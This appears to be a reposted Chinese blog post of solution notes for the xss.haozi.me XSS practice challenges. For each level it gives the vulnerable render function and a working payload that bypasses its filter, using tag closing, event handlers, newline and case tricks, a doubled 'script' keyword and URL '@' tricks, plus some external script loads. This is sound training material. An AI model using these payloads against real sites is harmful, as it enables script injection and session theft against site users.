xss练习笔记

栏目: 编程工具 · 发布时间: 5年前

0x00:简介

xss 练习地址:

https://xss.haozi.me/

xss 项目地址:

https://github.com/haozi/xss-demo

0x00

function render (input) {
  return '<div>' + input + '</div>'
}

无过滤

<script>alert(1)</script>

0x01

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

文本框无法执行,但是可以闭合 <textarea> 来执行.

</textarea><script>alert(1)</script>

0x02

function render (input) {
  return '<input type="name" value="' + input + '">'
}

简单的 dom型xss ,闭合前面的双引号后面的句子随便构造,只要能执行.

"onmouseover="alert(1)"

或通过闭合前面的尖括号,构造新的语句执行.

"><svg/onload=alert(1)>

0x03

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

过滤了圆括号 () ,但是我们仍然可以使用反引号执行.

<script>alert`1`</script>

0x04

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

过滤了圆括号 () ,反引号 ` .

<svg> 可以执行 html转义字符.

<svg><script>alert 1 </script>

0x05

function render (input) {
  input = input.replace(/-->/g, 'emoji笑脸')
  return '<!-- ' + input + ' -->'
}

<!-- 可以用 -->--!> 两种方式闭合.

--!><script>alert(1)</script>

0x06

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

可以通过换行绕过正则检测.

type="image" src="xxx" onerror
="alert(1)"

0x07

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

匹配了尖括号 <> 开头结尾的字符串替换为空.

可以通过少输入一个 > 来绕过正则,但仍然可以执行.

<body onload="alert(1)"

0x08

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

通过换行绕过正则,闭合 <style> 然后执行语句.

</style
><script>alert(1)</script>

0x09

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

匹配 https://www.segmentfault.com 开头的字符串.

闭合第一个 script ,执行语句,然后 // 注释后面的语句.

https://www.segmentfault.com"></script><script>alert(1)</script>//

0x0A

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&')
            .replace(/'/g, ' ')
            .replace(/"/g, '"')
            .replace(/</g, '<')
            .replace(/>/g, '>')
            .replace(/\//g, '/')
  }

  const domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

对一些符号进行了编码,并且正则匹配了 https://www.segmentfault.com 开头的字符串.

这里可以使用 @ 来执行我们自己的js.(其实是访问 https://xss.haozi.me/j.js )

https://www.segmentfault.com@xss.haozi.me/j.js

0x0B

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

html标签 , 域名 不区分大小写.

<script src="https://xss.haozi.me/j.js"></script>

0x0C

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

只检查了一遍是否存在 script ,于是可以在 script 中双写 script 绕过.

<scrscriptipt src="https://xss.haozi.me/j.js"></scrscriptipt>

0x0D

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

过滤了 < , / , " , ' .

通过换行绕过注释.

然后用 html 的注释符 --> 注释掉后面的圆括号.

alert(1)
-->

0x0E

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

匹配了所有 < 与字母的组合.

<s 无法使用.

但是 ſ 大写后为S,且其ascii值不与s相等,因此可以绕过.

<ſcript src="https://xss.haozi.me/j.js"></script>

0x0F

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&')
            .replace(/'/g, ' ')
            .replace(/"/g, '"')
            .replace(/</g, '<')
            .replace(/>/g, '>')
            .replace(/\//g, '/')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

& , ' , " , < , > , \/ 进行编码.

浏览器会先解析 html ,再解析 js ,因此 waf 实际无用.

');alert(1)//

0x10

function render (input) {
  return `
<script>
  window.data = ${input}
</script>
  `
}

无过滤,在 <script> 中直接执行.

alert(1)

0x11

// from alf.nu
function render (s) {
  function escapeJs (s) {
    return String(s)
            .replace(/\\/g, '\\\\')
            .replace(/'/g, '\\\'')
            .replace(/"/g, '\\"')
            .replace(/`/g, '\\`')
            .replace(/</g, '\\74')
            .replace(/>/g, '\\76')
            .replace(/\//g, '\\/')
            .replace(/\n/g, '\\n')
            .replace(/\r/g, '\\r')
            .replace(/\t/g, '\\t')
            .replace(/\f/g, '\\f')
            .replace(/\v/g, '\\v')
            // .replace(/\b/g, '\\b')
            .replace(/\0/g, '\\0')
  }
  s = escapeJs(s)
  return `
<script>
  var url = 'javascript:console.log("${s}")'
  var a = document.createElement('a')
  a.href = url
  document.body.appendChild(a)
  a.click()
</script>
`
}

过滤了一些字符.

" 过滤为 \\" ,但目的达成,闭合了前面的双引号,然后执行了语句,并用 // 注释了后面的语句.

");alert(1)//

0x12

// from alf.nu
function escape (s) {
  s = s.replace(/"/g, '\\"')
  return '<script>console.log("' + s + '");</script>'
}

直接闭合最前面的 <script> ,然后创造一个新的 <script> 执行 alert(1) 即可.

</script><script>alert(1)</script>

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

图说区块链

图说区块链

徐明星、田颖、李霁月 / 中信出版社 / 2017-7-1 / 59.00元

区块链,如瑞士仪表般精密,如互联网般惊世骇俗,它在以神一般的节奏颠覆社会。 当新兴技术来临时,你可以选择规避——如果明天也可以规避的话。区块链也一样。 作为一个现象级概念,金融科技创新在过去几年迎来了奇点式发展。其中最引人注目的当属区块链技术。区块链技术正在动摇全球金融基础设施,它是全球顶级银行和其他金融机构重点追逐的领域。毫无疑问,区块链是未来5年最有前景的行业之一。 《图说区......一起来看看 《图说区块链》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

随机密码生成器
随机密码生成器

多种字符组合密码

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码